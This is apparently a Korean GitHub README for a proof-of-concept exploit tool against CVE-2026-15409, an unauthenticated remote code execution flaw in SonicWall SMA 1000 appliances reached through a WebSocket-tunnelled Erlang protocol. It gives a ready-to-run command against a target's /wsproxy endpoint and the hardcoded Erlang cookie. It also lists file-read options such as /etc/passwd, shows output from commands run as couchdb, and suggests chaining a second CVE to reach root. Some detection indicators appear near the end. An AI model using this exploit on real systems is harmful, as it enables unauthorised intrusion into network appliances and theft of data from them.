
CVE-2026-15409(SonicWall SMA 1000 RCE)에 대한 개념 증명 익스플로잇으로, WebSocket을 통한 Erlang 분산 프로토콜을 이용합니다. couchdb 사용자로 인증 없이 원격 코드 실행을 달성합니다.
CVE-2026-15409용 Proof‑of‑Concept 익스플로잇 – WebSocket을 통해 터널링된 Erlang 분산 프로토콜을 이용한 SonicWall SMA 1000 시리즈 어플라이언스에서의 인증되지 않은 원격 코드 실행.
CVE-2026-15409는 SonicWall SMA 1000 어플라이언스(2026년 6월 핫픽스 이전 버전)에 영향을 미치는 치명적인 취약점입니다. 이 결함은 WebSocket 연결을 내부 Erlang 노드로 프록시하는 WorkPlace 서비스(일반적으로 443 포트에 노출)에 존재합니다. 공격자는 유효한 bmID 매개변수를 위조하고 하드코딩된 Erlang 쿠키를 사용하여 인증된 분산 채널을 구축하고 에 대한 RPC 호출을 통해 사용자(또는 기타 낮은 권한의 계정)로 임의의 시스템 명령을 실행할 수 있습니다.
os:cmd/1couchdb이 저장소는 WebSocket 핸드셰이크부터 임의 명령 실행까지 전체 익스플로잇 체인을 자동화하는 완전히 작동하는 PoC를 깔끔한 인터페이스, 고급 오류 처리, 멋진 로깅과 함께 제공합니다.
wsproxy 엔드포인트를 사용하여 wss://를 통해 직접 작동합니다.os:cmd/1을 통해 수행하며, file:read_file/1로 파일을 읽거나 erlang:node/0으로 연결을 테스트할 수 있습니다.bmID 값(-3389로 시작하는 한)과 여러 serviceType 값을 지원합니다.[+], [*], [-], [!] 기호로 색상 구분된 메시지를 제공하여 쉽게 모니터링할 수 있습니다.이 취약점은 SMA 1000의 다음과 같은 설계 결함에서 비롯됩니다:
/wsproxy 엔드포인트는 적절한 인증이나 권한 부여 없이 바이너리 WebSocket 메시지를 로컬 Erlang 분산 포트(기본적으로 localhost:1050)로 전달합니다.[email protected]가 1050 포트에서 수신 대기하며 WebSocket 프록시로부터의 연결을 수락하므로 네트워크에서 도달할 수 있습니다.os:cmd/1을 포함하여 노드에서 임의의 함수를 실행할 수 있는 표준 rex 서비스를 제공합니다.ex_sra_vm_12.5.0-02002.ova).couchdb 사용자(UID 1010, daemon 그룹)로 원격 코드 실행.file:read_file/1을 통해 임의의 파일을 읽을 수 있습니다.websockets 라이브러리가 포함된 Python 3.8+(pip install websockets로 설치).git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
| 인자 | 설명 |
|---|---|
--host, --port | TCP 폴백(WebSocket을 사용하지 않는 경우) |
--cookie | 기본 하드코딩 쿠키 재정의 |
--name | 사용자 지정 로컬 Erlang 노드 이름 |
--ws-origin | WebSocket용 Origin 헤더 설정 |
--ws-user-agent | User‑Agent 문자열(기본값: SMA Connect Agent) |
--ws-insecure-tls | TLS 검증 비활성화(자체 서명 인증서) |
--read-file | 대상에서 파일 읽기(예: /etc/passwd) |
--rpc | erlang:node/0 호출로 연결만 테스트 |
익스플로잇에 사용되는 Erlang 쿠키는 다음과 같습니다:
10ecad5b446e86864832904cd439b6b70262
이 값은 테스트된 모든 SMA 어플라이언스에서 일관되며 localhost:1050의 Erlang 프로세스에 하드코딩되어 있습니다. 클러스터링을 위해 사용자가 구성한 쿠키와는 다릅니다.
bmID 매개변수bmID는 -3389로 시작해야 합니다(예: -3389c1b25ccd). 접두사 이후의 값은 임의로 허용되므로 서명 기반 탐지는 고정 해시에 의존해서는 안 됩니다.
예제에서는 serviceType=SSH를 사용하지만 TELNET과 같은 다른 값도 작동합니다. 이 익스플로잇은 서비스 유형에 무관합니다.
포트 1050이 기본 내부 포트이지만, 실제 공격에서는 8188 포트를 대상으로 한 사례도 관찰되었습니다. 이 익스플로잇은 Erlang 분산 프로토콜을 노출하는 모든 포트에 적용할 수 있습니다.
couchdb로 셸을 획득한 후 공격자는 CVE-2026-15410(XML‑RPC 경로 탐색)을 활용하여 핫픽스를 제거하고 이후 루트 권한을 상승시킬 수 있습니다.
-3389로 시작하는 bmID를 사용한 /wsproxy로의 비정상적인 WebSocket 연결.couchdb 사용자가 생성한 프로세스(예: bash, python, nc).couchdb 사용자가 /var/tmp/에 파일을 수정하거나 생성한 흔적.이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 – 자세한 내용은 LICENSE 파일을 참조하세요.
면책 조항: 이 도구는 교육 및 승인된 테스트 목적으로만 사용해야 합니다. 작성자와 기여자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
이 PoC가 유용하다면 GitHub에서 ⭐를 눌러주시고 책임감 있게 공유해 주시기 바랍니다. 기여, 이슈 제기, 풀 리퀘스트는 언제나 환영합니다!
즐거운 해킹 되세요! 🛡️